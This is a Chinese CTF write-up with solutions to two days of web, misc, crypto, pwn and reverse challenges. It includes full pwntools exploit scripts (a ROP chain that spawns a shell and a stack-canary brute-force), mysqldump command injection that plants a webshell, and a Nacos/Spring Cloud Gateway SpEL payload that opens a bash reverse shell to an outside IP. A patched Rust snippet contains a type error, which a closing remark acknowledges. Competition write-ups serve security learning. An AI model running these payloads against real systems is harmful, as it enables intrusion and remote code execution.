by 桂北
DAY1
WEB
unzip
创建一个带有软连接的压缩包,然后上传,使目录下有一个链接目录
ln -s /var/www/html html;zip -ry html.zip html
上传后自动解压,使目录下有一个链接目录,再上传一个压缩包,把shell放在html目录下就行。
MISC
签到
直接输入print(open("/flag").read())
被加密的生产流量
追踪TCP的协议包,得到遗传类似base加密的密文,提取出来进行base32解密,得到:c1f_fi1g_1000
国粹
根据a和k的数量一致以及a的有序排列且a和k的组合正好没有任何冲突的两组,猜测是通过a作为x轴,k作为y轴,标出这些点出来可能会组成图像。但是如果只有万确实可以这样直接标点,但是又有桶、条之类的存在,会造成点位的冲突,观察题目.png后突然想到,如果每个点按照题目的内容来排序,就不会造成冲突。于是需要将a里面的排序顺序以及牌的数量给提取出来,这里没有现成的识别工具,只能手动提取出来:
很大的工程量
ashunxu = ["1w","2w","3w","4w","5w","6w","7w","8w","9w",
"1t","3t","4t","5t","6t","7t","8t","9t",
"1ti","2ti","4ti","5ti","6ti","7ti","8ti","9ti",
"bei","nan","dong","zhong","fa","baiban","chun","xia","qiu","d","mei"
]
ashuliang = [4,7,11,14,12,11,15,13,6,2,4,14,8,7,8,8,5,17,2,12,13,10,11,10,11,13,5,6,15,11,9,11,7,9,17,3,]
kshunxu ="4w,5w,1t,xi,3w,4w,5w,6w,1t,nan,xi,3w,4w,1t,7t,8t,4ti,5ti,6ti,7ti,nan,xi,2w,3w,4w,5w,1t,6t,7t,9t,3ti,4ti,6ti,7ti,nan,xi,3w,4w,1t,6t,8t,9t,1ti,3ti,4ti,7ti,dong,nan,3w,4w,1t,6t,7t,9t,1ti,3ti,4ti,7ti,nan,3w,4w,1t,2t,3t,4t,6t,9t,1ti,4ti,5ti,6ti,7ti,nan,xi,3w,4w,2t,3t,6t,7t,8t,9t,1ti,2ti,7ti,nan,xi,3ti,4ti,6ti,7ti,xi,bei,5ti,6ti,4ti,5ti,6ti,7ti,2w,3w,4w,5w,9w,1t,2t,3t,7t,8t,9t,1ti,6ti,7ti,2w,5w,6w,9w,3t,1ti,5ti,6ti,5w,9w,3t,9t,1ti,4ti,5ti,4w,5w,9w,3t,8t,9t,5ti,6ti,3w,4w,9w,3t,7t,8t,6ti,7ti,3w,9w,3t,7t,7ti,3w,4w,5w,6w,9w,1t,2t,3t,7t,8t,9t,1ti,3ti,4ti,5ti,6ti,7ti,1t,2t,3w,4w,5w,6w,1t,2t,3t,8t,9t,1ti,6ti,7ti,3w,6w,7w,9w,1t,7t,8t,1ti,2ti,4ti,5ti,6ti,7ti,3w,6w,7w,9w,1t,7t,1ti,2ti,6ti,7ti,3w,6w,7w,1t,2t,3t,7t,1ti,2ti,6ti,7ti,3w,6w,7w,3t,4t,7t,1ti,2ti,6w,7w,3w,6w,7w,9w,3t,4t,7t,1ti,2ti,6ti,7ti,3w,4w,6w,9w,1t,2t,3t,7t,8t,1ti,2ti,6ti,7ti,4w,5w,8t,9t,1ti,1t,2t,3t,4t,7ti,bei,4w,5w,6w,1t,2t,3t,4t,8t,9t,1ti,5ti,6ti,7ti,8ti,zhong,3w,4w,6w,7w,3t,7t,8t,5ti,6ti,8ti,zhong,6w,7w,2t,7t,8t,5w,6w,8w,zhong,6w,2t,3t,8t,9t,1ti,5ti,6ti,7ti,8ti,fa,5w,3t,4t,1ti,2ti,8ti,zhong,4w,5w,4t,7t,1ti,2ti,7ti,8ti,zhong,4w,5w,6w,7w,9w,1t,2t,3t,4t,7t,8t,9t,1ti,6ti,7ti,bei,zhong,5ti,6ti,bei"
然后再从题目.png中提取每种牌子所在的开始位置
t = {"w":0,"t":9,"ti":18,"dong":27,"nan":28,"xi":29,"bei":30,"zhong":31,"fa":32,"baiban":33,"chun":34,"xia":35,"qiu":36,"d":37,"mei":38}
再把对应的牌子加上对应的开始位置,得出每个点的坐标,然后用matplotlib绘制即可:
ashunxu = ["1w","2w","3w","4w","5w","6w","7w","8w","9w",
"1t","3t","4t","5t","6t","7t","8t","9t",
"1ti","2ti","4ti","5ti","6ti","7ti","8ti","9ti",
"bei","nan","dong","zhong","fa","baiban","chun","xia","qiu","d","mei"
]
ashuliang = [4,7,11,14,12,11,15,13,6,2,4,14,8,7,8,8,5,17,2,12,13,10,11,10,11,13,5,6,15,11,9,11,7,9,17,3,]
kshunxu ="4w 5w 1t xi 3w 4w 5w 6w 1t nan xi 3w 4w 1t 7t 8t 4ti 5ti 6ti 7ti nan xi 2w 3w 4w 5w 1t 6t 7t 9t 3ti 4ti 6ti 7ti nan xi 3w 4w 1t 6t 8t 9t 1ti 3ti 4ti 7ti dong nan 3w 4w 1t 6t 7t 9t 1ti 3ti 4ti 7ti nan 3w 4w 1t 2t 3t 4t 6t 9t 1ti 4ti 5ti 6ti 7ti nan xi 3w 4w 2t 3t 6t 7t 8t 9t 1ti 2ti 7ti nan xi 3ti 4ti 6ti 7ti xi bei 5ti 6ti 4ti 5ti 6ti 7ti 2w 3w 4w 5w 9w 1t 2t 3t 7t 8t 9t 1ti 6ti 7ti 2w 5w 6w 9w 3t 1ti 5ti 6ti 5w 9w 3t 9t 1ti 4ti 5ti 4w 5w 9w 3t 8t 9t 5ti 6ti 3w 4w 9w 3t 7t 8t 6ti 7ti 3w 9w 3t 7t 7ti 3w 4w 5w 6w 9w 1t 2t 3t 7t 8t 9t 1ti 3ti 4ti 5ti 6ti 7ti 1t 2t 3w 4w 5w 6w 1t 2t 3t 8t 9t 1ti 6ti 7ti 3w 6w 7w 9w 1t 7t 8t 1ti 2ti 4ti 5ti 6ti 7ti 3w 6w 7w 9w 1t 7t 1ti 2ti 6ti 7ti 3w 6w 7w 1t 2t 3t 7t 1ti 2ti 6ti 7ti 3w 6w 7w 3t 4t 7t 1ti 2ti 6w 7w 3w 6w 7w 9w 3t 4t 7t 1ti 2ti 6ti 7ti 3w 4w 6w 9w 1t 2t 3t 7t 8t 1ti 2ti 6ti 7ti 4w 5w 8t 9t 1ti 1t 2t 3t 4t 7ti bei 4w 5w 6w 1t 2t 3t 4t 8t 9t 1ti 5ti 6ti 7ti 8ti zhong 3w 4w 6w 7w 3t 7t 8t 5ti 6ti 8ti zhong 6w 7w 2t 7t 8t 5w 6w 8w zhong 6w 2t 3t 8t 9t 1ti 5ti 6ti 7ti 8ti fa 5w 3t 4t 1ti 2ti 8ti zhong 4w 5w 4t 7t 1ti 2ti 7ti 8ti zhong 4w 5w 6w 7w 9w 1t 2t 3t 4t 7t 8t 9t 1ti 6ti 7ti bei zhong 5ti 6ti bei".split(" ")
t = {"w":0,"t":9,"ti":18,"dong":27,"nan":28,"xi":29,"bei":30,"zhong":31,"fa":32,"baiban":33,"chun":34,"xia":35,"qiu":36,"d":37,"mei":38}
zbx = []
zby = []
flag = 0
flag1 = 0
for i in ashunxu:
for j in range(ashuliang[flag]):
x = i[0]
if x.isdigit():
if len(i) == 2:
x = int(x) + int(t[i[1]])
else:
x = int(x) + int(t[i[1:]])
else:
x = t[i] + 1
y1 = kshunxu[flag1]
y = y1[0]
if y.isdigit():
if len(y1) == 2:
y = int(y) + int(t[y1[1]])
else:
y = int(y) + int(t[y1[1:]])
else:
y = t[y1] + 1
zbx.append(x)
zby.append(y)
flag1 += 1
flag += 1
import matplotlib.pyplot as plt
# 绘图
plt.scatter(zbx, zby)
# 显示
plt.show()
应该是一个日期,提交flag{202305012359}后发现flag正确
Crypto
可信度量
这题又是被非预期了,上次好像也是这个样子
cat /proc/??/environ
直接查看环境变量里面直接就有flag
Sign_in_passwd
很简单的题form base64,去cyberchef直接解密就行
基于国密SM2算法的密钥密文分发
使用文档说明的接口获取id值:
id: 498f3e8e-8dd0-43ea-90f5-42a22913ce99
生成SM2
私钥:
8B178D6C8D814E05C0EC57C827344895739321145D9D5E84865D9564FA3BA6FB
公钥:
0E202ADD903C07CF59A8CA11C1E1C06C5F4A2624D27A160185C4C0582F89255C8618A9D64912C042605527371DFE071C482367CEB37B3DE2C476C5654E70F81E
公钥上报:
curl -d "id=498f3e8e-8dd0-43ea-90f5-42a22913ce99&publicKey=0E202ADD903C07CF59A8CA11C1E1C06C5F4A2624D27A160185C4C0582F89255C8618A9D64912C042605527371DFE071C482367CEB37B3DE2C476C5654E70F81E" http://123.56.244.196:21163/api/allkey
得到返回的密文
{
"message": "success",
"data": {
"publicKey": "04fd9abc2fd0c7aff1ad4b95f607603edb4ae2e3e1230ce5ef5aa165922e7f0f19192eed41c30eddaf5718ecbe67b66e7dbfcf83bd7055b8022263381c14d83e63",
"privateKey": "4cbb333215ad68c1c5220aca3e8f326a897a2e38fde430b54e1d09ec2806f331",
"randomString": "26c11927b49c9f63c72ceafcf7389734384c68ed61800a69467203a7a097ce80ebe0a9ce74c8f303920b40b5b4b2648b5e391a10f1eed1570f59f7cbd027d2bb5cf7327276c7504d3f61b244af19a76596df84bec73283ee30ba02febe462cd742ec919dfdc90db9b3a1769629f417db",
"id": "498f3e8e-8dd0-43ea-90f5-42a22913ce99"
}
}
使用自己的私钥来解密randomString:
密文:randomString
26c11927b49c9f63c72ceafcf7389734384c68ed61800a69467203a7a097ce80ebe0a9ce74c8f303920b40b5b4b2648b5e391a10f1eed1570f59f7cbd027d2bb5cf7327276c7504d3f61b244af19a76596df84bec73283ee30ba02febe462cd742ec919dfdc90db9b3a1769629f417db
如下为解密的明文:
81 CA 3F 53 AF 90 D1 BE 54 3A 52 F3 46 76 7B 41
接下来根据文档的提示,使用此处解出的16为来解服务器发送的私钥(privateKey)
privateKey :4cbb333215ad68c1c5220aca3e8f326a897a2e38fde430b54e1d09ec2806f331
Key:81 CA 3F 53 AF 90 D1 BE 54 3A 52 F3 46 76 7B 41
解得如下B私钥
BE 2D 8E 9A 00 5E 75 7B BC B7 2E 89 ED 63 AE EB E0 1A 3F 86 55 11 3D 1C C0 E7 90 1C 12 23 33 54
秘钥获取:
C:\Users\349223646>curl -d "id=498f3e8e-8dd0-43ea-90f5-42a22913ce99" http://123.56.244.196:21163/api/quantum
{
"message": "success",
"data": {
"id": "498f3e8e-8dd0-43ea-90f5-42a22913ce99",
"quantumString": "a54545ad75c13f3f6caec008cb36dc657e357cfac18d26f4c89f37abdfd47bb85077f62650531ce76bc43c42e61f2bdbab8e64cf39250a997717c9a7da254fe5baca786793a4ca493e001c484862484243c187c1ee153496564787cceebde2763b7b4c8f503c75fcd5dd2563c9c8cb2b"
}
}
使用上面服务器B的私钥进行解密返回的密文:
a54545ad75c13f3f6caec008cb36dc657e357cfac18d26f4c89f37abdfd47bb85077f62650531ce76bc43c42e61f2bdbab8e64cf39250a997717c9a7da254fe5baca786793a4ca493e001c484862484243c187c1ee153496564787cceebde2763b7b4c8f503c75fcd5dd2563c9c8cb2b
A7E7CF41669B7EC26C6A57E6FD3F3846
根据文档的提示,检查秘钥是否正确:
curl -d "id=498f3e8e-8dd0-43ea-90f5-42a22913ce99&quantumString=A7E7CF41669B7EC26C6A57E6FD3F3846" http://123.56.244.196:21163/api/check
提示正确:
获取flag:
PWN
烧烤摊儿
审一下代码就能发现买东西的时候发现购买负10000个就能将金额变成正的,在功能5处存在溢出,直接打ret2syscall即可,下面是payload
from pwn import *
# 定义快捷函数
send = lambda data: io.send(data)
send_after = lambda delim, data: io.sendafter(str(delim), data)
send_line = lambda data: io.sendline(data)
send_line_after = lambda delim, data: io.sendlineafter(str(delim), data)
recv = lambda num: io.recv(num)
recv_until = lambda delims, drop=True: io.recvuntil(delims, drop)
interactive = lambda: io.interactive()
unpack_32 = lambda data: u32(data.ljust(4, b'\x00'))
unpack_64 = lambda data: u64(data.ljust(8, b'\x00'))
log_success = lambda data: log.success(data)
binary = './shaokao'
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-l', '130']
def x86_shellcode():
# eax 0xb
# ebx /bin/sh
# ecx 0
# edx 0
# sh
# push 0x006873
shellcode = '''
xor ecx,ecx
xor edx,edx
push 0xb
pop eax
push 0x0068732f
push 0x6e69622f
mov ebx,esp
int 0x80
'''
shellcode = asm(shellcode)
print('shellcode Length:', len(shellcode))
print(disasm(shellcode))
return shellcode
def attack():
io = remote("123.56.135.185", 28217)
send_line('2')
send_line('1')
send_line('-100000')
send_line('4')
send_line('5')
p = b''
# 构造 ROP 链
p += p64(0x000000000040a67e) # pop rsi ; ret
p += p64(0x00000000004e60e0) # @ .data
p += p64(0x0000000000458827) # pop rax ; ret
p += b'/bin//sh\x00'
p += p64(0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += p64(0x000000000040a67e) # pop rsi ; ret
p += p64(0x00000000004e60e8) # @ .data + 8
p += p64(0x0000000000447339) # xor rax, rax ; ret
p += p64(0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += p64(0x000000000040264f) # pop rdi ; ret
p += p64(0x00000000004e60e0) # @ .data
p += p64(0x000000000040a67e) # pop rsi ; ret
p += p64(0x00000000004e60e8) # @ .data + 8
p += p64(0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += p64(0x00000000004e60e8) # @ .data + 8
p += p64(0x4141414141414141) # padding
p += p64(0x0000000000447339) # xor rax, rax ; ret
p += p64(0x0000000000496710) * 32 # add rax, 1 ; ret (32 times)
p += p64(0x0000000000402404) # syscall
payload = b'A' * 0x28 + p
send_line(payload)
io.interactive()
if __name__ == '__main__':
attack()
Reverse
ezbyte
在sub_404C21中发现了flag的部分特征: \flag\{\}\
以及flag的后四位3861。匹配输入正确后可以跳到\&sub_404BF4 + 1,跟过去什么都没有
因此猜测使用了DWARF Expression把代码隐藏在栈中,找到之前看过的一篇文章
ISC-Nothing出题思路及WriteUp | riChar's Blog
跟着里面的方法把栈操作生成c码:
test.rs
use std::{collections::HashMap, fs, fmt::Display, io::Write};
use std::process::Command;
use gimli::UnwindSection;
use object::{Object, ObjectSection};
fn main() -> Result<(), Box<dyn std::error::Error>> {
let mut arg = std::env::args();
if arg.len() != 2 {
panic!("Argument Error!")
}
let bin_data = fs::read(arg.nth(1).unwrap())?;
let obj_file = object::File::parse(&*bin_data)?;
let data = obj_file.section_by_name(".eh_frame").unwrap();
let eh_frame = gimli::read::EhFrame::new(data.data()?, gimli::LittleEndian);
let bases = gimli::BaseAddresses::default().set_eh_frame(data.address());
let mut entries = eh_frame.entries(&bases);
let mut file = fs::OpenOptions::new().append(false).truncate(true).write(true).create(true).open("./output.c")?;
writeln!(file, "#include <stdint.h>")?;
let mut cies = HashMap::new();
while let Some(entry) = entries.next()? {
if let gimli::CieOrFde::Fde(partial) = entry {
let fde = partial.parse(|_, bases, o| {
cies.entry(o)
.or_insert_with(|| eh_frame.cie_from_offset(bases, o))
.clone()
})?;
// 通过长度过滤出我们想要的
if fde.entry_len() < 100 {
continue;
}
let mut instructions = fde.instructions(&eh_frame, &bases);
use gimli::CallFrameInstruction::*;
loop {
match instructions.next() {
Err(e) => {
println!("Failed to decode CFI instruction: {}", e);
break;
}
Ok(Some(ValExpression {
register,
expression,
})) => {
println!(
"DW_CFA_val_expression ({}, ...)",
gimli::X86_64::register_name(register).unwrap_or("{unknown}")
);
display_val_expression(register, expression, &mut file)?;
}
Ok(None) => {
break;
}
_ => {}
}
}
}
}
file.flush()?;
Command::new("gcc")
.arg("-O3")
.arg("./output.c")
.arg("-c")
.spawn()?;
Ok(())
}
#[derive(Clone, Copy)]
struct Val {
id: u64,
}
impl Val {
fn new(id: u64) -> Self {
Val { id }
}
}
struct ValGenerator {
id: u64,
}
impl ValGenerator {
fn new() -> Self {
Self { id: 0 }
}
fn next(&mut self) -> Val {
self.id += 1;
Val::new(self.id - 1)
}
}
impl Display for Val {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "v{}", self.id)
}
}
fn display_val_expression<R>(target_reg: gimli::Register, exp: gimli::Expression<R>, w: &mut dyn Write) -> Result<(), Box<dyn std::error::Error>>
where
R: gimli::Reader,
{
let mut val_generator = ValGenerator::new();
let mut ops = exp.operations(gimli::Encoding { address_size: 8, format: gimli::Format::Dwarf64, version: 5 });
let mut stack: Vec<Val> = Vec::new();
writeln!(w, "uint64_t cal_{}(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){{", gimli::X86_64::register_name(target_reg).unwrap())?;
writeln!(w, " uint64_t rax=0,rbx=0;")?;
loop {
if let Ok(Some(op)) = ops.next() {
match op {
gimli::Operation::Drop => {
stack.pop();
}
gimli::Operation::Pick { index } => {
let val1 = stack.get(stack.len() - 1 - index as usize).unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={};", new_val, val1)?;
stack.push(new_val);
}
gimli::Operation::Swap => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
stack.push(val1);
stack.push(val2);
}
gimli::Operation::Rot => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let val3 = stack.pop().unwrap();
stack.push(val1);
stack.push(val3);
stack.push(val2);
}
gimli::Operation::And => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}&{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Minus => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}-{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Neg => {
let val = stack.get(stack.len() - 1).unwrap();
writeln!(w, " {}=-{};", val, val)?;
}
gimli::Operation::Not => {
let val = stack.get(stack.len() - 1).unwrap();
writeln!(w, " {}=~{};", val, val)?;
}
gimli::Operation::Or => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}|{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Plus => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}+{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::PlusConstant { value } => {
let val = stack.get(stack.len() - 1).unwrap();
writeln!(w, " {}+={}ull;", val, value)?;
}
gimli::Operation::Shl => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}<<{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Shr => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}>>{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Shra => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}=(uint64_t)((int64_t){}>>(int64_t){});", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Xor => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}^{};", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Eq => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}= {}=={}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Ge => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}>={}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Gt => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}>{}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Le => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}<={}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Lt => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}<{}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::Ne => {
let val1 = stack.pop().unwrap();
let val2 = stack.pop().unwrap();
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}!={}?1:0;", new_val, val2, val1)?;
stack.push(new_val);
}
gimli::Operation::UnsignedConstant { value } => {
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={}ull;", new_val, value)?;
stack.push(new_val);
}
gimli::Operation::SignedConstant { value } => {
let new_val = val_generator.next();
writeln!(w, " uint64_t {}=(uint64_t){}ll;", new_val, value)?;
stack.push(new_val);
}
gimli::Operation::Register { register } => {
let new_val = val_generator.next();
writeln!(w, " uint64_t {}={};", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"))?;
stack.push(new_val);
}
_ => todo!("{:?}", op)
}
} else {
break;
}
}
assert_eq!(stack.len(), 1);
writeln!(w, " return {};", stack.pop().unwrap())?;
writeln!(w, "}}\n")?;
Ok(())
}
./m4x ezbyte_patch发现报错
少了指令,给它补上即可
use rand::{Rng, thread_rng};
gimli::Operation::RegisterOffset { register, offset , .. } => {
let mut rng = thread_rng();
let new_val: String = (0..8).map(|_| rng.gen_range(b'a', b'z'+1) as char).collect();
writeln!(w, " uint64_t {}=({}+{}ull);", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"), offset)?;
stack.push(new_val);
}
再次编译后运行成功:
./m4x ezbyte_patch&&cat output.c
获得以下C代码
#include <stdint.h>
uint64_t cal_r12(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){
uint64_t rax=0,rbx=0;
uint64_t v0=2616514329260088143ull;
uint64_t v1=1237891274917891239ull;
uint64_t v2=1892739ull;
uint64_t v3=(r12+0ull);
uint64_t v4=v2+v3;
uint64_t v5=v1^v4;
uint64_t v6=v0^v5;
uint64_t v7=8502251781212277489ull;
uint64_t v8=1209847170981118947ull;
uint64_t v9=8971237ull;
uint64_t v10=(r13+0ull);
uint64_t v11=v9+v10;
uint64_t v12=v8^v11;
uint64_t v13=v7^v12;
uint64_t v14=v6|v13;
uint64_t v15=2451795628338718684ull;
uint64_t v16=1098791727398412397ull;
uint64_t v17=1512312ull;
uint64_t v18=(r14+0ull);
uint64_t v19=v17+v18;
uint64_t v20=v16^v19;
uint64_t v21=v15^v20;
uint64_t v22=v14|v21;
uint64_t v23=8722213363631027234ull;
uint64_t v24=1890878197237214971ull;
uint64_t v25=9123704ull;
uint64_t v26=(r15+0ull);
uint64_t v27=v25+v26;
uint64_t v28=v24^v27;
uint64_t v29=v23^v28;
uint64_t v30=v22|v29;
return v30;
}
从逻辑可知v30为0时则flag正确。把同目录下生成的output.o直接放到ida里面查看伪c则更直观:
所有运算结果都应该为0则返回0.因此计算出来几个变量的值
a1 = 0x35626665394D17E8 - 1892739
a2 = 0x65342D6530C04912 - 8971237
a3 = 0x2D393663614447B1 - 1512312
a4 = 0x6336396431BE9AD9 - 9123704
print(a1,a2,a3,a4)
由于序不一样,转为hex后两个一组,反过来放置再转为字符即可得出flag(加上一开始发现的3861}}),flag{e609efb5-e70e-4e94-ac69-ac31d96c3861}
DAY2
WEB
dumpit
根据题目的提示进行一个dump测试:
?db\=ctf&table\_2\_dump\=flag1
根据生成的log文件可以知道,这是一个mysqldump生成的dump文件,但是PHP并没有相关的dump功能,猜测是调用了系统命令来dump,因此尝试命令注入,发现;&|\$`等命令注入的字符串都被ban了,但是 > 重定向符号没ban,于是在本地尝试
mysqldump ctf flag1 \> log/m4x.php
发现可以成功写入,但是到了远程环境却不行,生成了一个空白的php文件,猜测是远程环境在最后面又拼接了一个重定向符号,导致内容都写入到后面的文件去了。但是可以使用 2 > log/m4x.php来将错误重定向到shell文件里面,当mysqldump在dump不存在的表的时候就会报错,这样我们可以控制shell的内容,因此以下payload可以将shell写入到log/m4x.php 中
?db\=ctf&table\_2\_dump\=%27\?\=system("cat%20/proc/self/environ")?\%27%202\>log/m4x.php
注入后实际执行的命令是:
mysqldump ctf 'shell的内容' 2\>log/m4x.php \> log/xxxxx.log
没权限读取flag,可能需要提权,但是在环境变量中找到了
BackendService
打开环境是个nacos,CVE-2021-29441可以直接未授权添加用户进入后台,在给出的jar包中有如下配置
spring:
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8888
config:
name: backcfg
file-extension: json
group: DEFAULT_GROUP
server-addr: 127.0.0.1:8888
该配置会使得从远程nacos中读取backcfg来加载配置执行
Nacos结合Spring Cloud Gateway RCE利用 - 先知社区 (aliyun.com)
进去nacos添加配置,将id指定为backcfg,格式指定为json
修改文章中的配置为json格式并且将执行的命令修改为反射shell
{
"spring":{
"cloud":{
"gateway":{
"routes":[
{
"id":"exam",
"order":0,
"uri":"lb://backendservice",
"predicates:":[
"Path=/evil/**"
],
"filters":[
{
"name":"RewritePath",
"args":{
"replacement":"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','bash -i >& /dev/tcp/1.12.48.9/6666 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}
保存配置后内部的jar包将会自动访问该url反弹shell
MISC
pyshell
使用_ 和eval拼接出字符串命令执行即可
PWN
funcanary
很简单的题 直接canary爆破 然后绕过pie 泄露,直接贴wp吧
from pwn import *
# 初始化远程连接
def init_conn():
elf = ELF('./funcanary')
conn = remote('123.57.248.214', 22158)
conn.recvuntil('welcome\n')
return elf, conn
# 猜测 canary 值
def guess_canary(conn):
canary = b'\x00'
for k in range(7):
for i in range(256):
payload = b'a' * 0x68 + canary + p8(i)
conn.send(payload)
try:
a = conn.recvuntil("welcome\n", timeout=1)
except:
return None
if b"fun" in a:
canary += p8(i)
print(f"[*] Found canary: {canary}")
break
else:
return None
return canary
# 获取 flag
def get_flag(conn, canary):
backdoor = 0x0231
while True:
for i in range(16):
payload = b'A' * 0x68 + canary + b'A' * 8 + p16(backdoor)
conn.send(payload)
try:
a = conn.recvuntil("welcome\n", timeout=1)
except:
return None
if b"welcome" in a:
backdoor += 0x1000
continue
if b"flag" in a:
print(a)
return a
return None
# 主函数
def main():
elf, conn = init_conn()
canary = guess_canary(conn)
if canary is not None:
get_flag(conn, canary)
else:
print("[!] Failed to guess the canary value.")
if __name__ == '__main__':
main()
Reverse
babyRE
解压之后里面是一个xml文件,里面有个网站
Home - University of California, Berkeley
这个网站能够解析这个xml,在代码块中间有一段向secret变量添加数字的代码。在后面的代码中,可以看到这些数字是正确flag异或后得到的
直接对这些数字进行异或操作就能获取正确的flag
#include <iostream>
#include <string>
using namespace std;
void decrypt(int* arr, int len, string key) {
for (int i = 1; i < len; i++) {
arr[i] ^= arr[i - 1];
arr[i] ^= key[(i - 1) % key.length()];
}
}
int main() {
int secret[] = { 102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30 };
string key = "flag{o_shit_i_dont_know_that}";
// Decrypt the secret array using the key
decrypt(secret, sizeof(secret)/sizeof(secret[0]), key);
// Convert decrypted array to string and output
string flag = "";
for (int i = 0; i < sizeof(secret)/sizeof(secret[0]); i++) {
flag += (char)secret[i];
}
cout << flag << endl;
return 0;
}
ezbyte后面加的那段里的new_val应该跟前面一样也是
let new_val = val_generator.next();
吧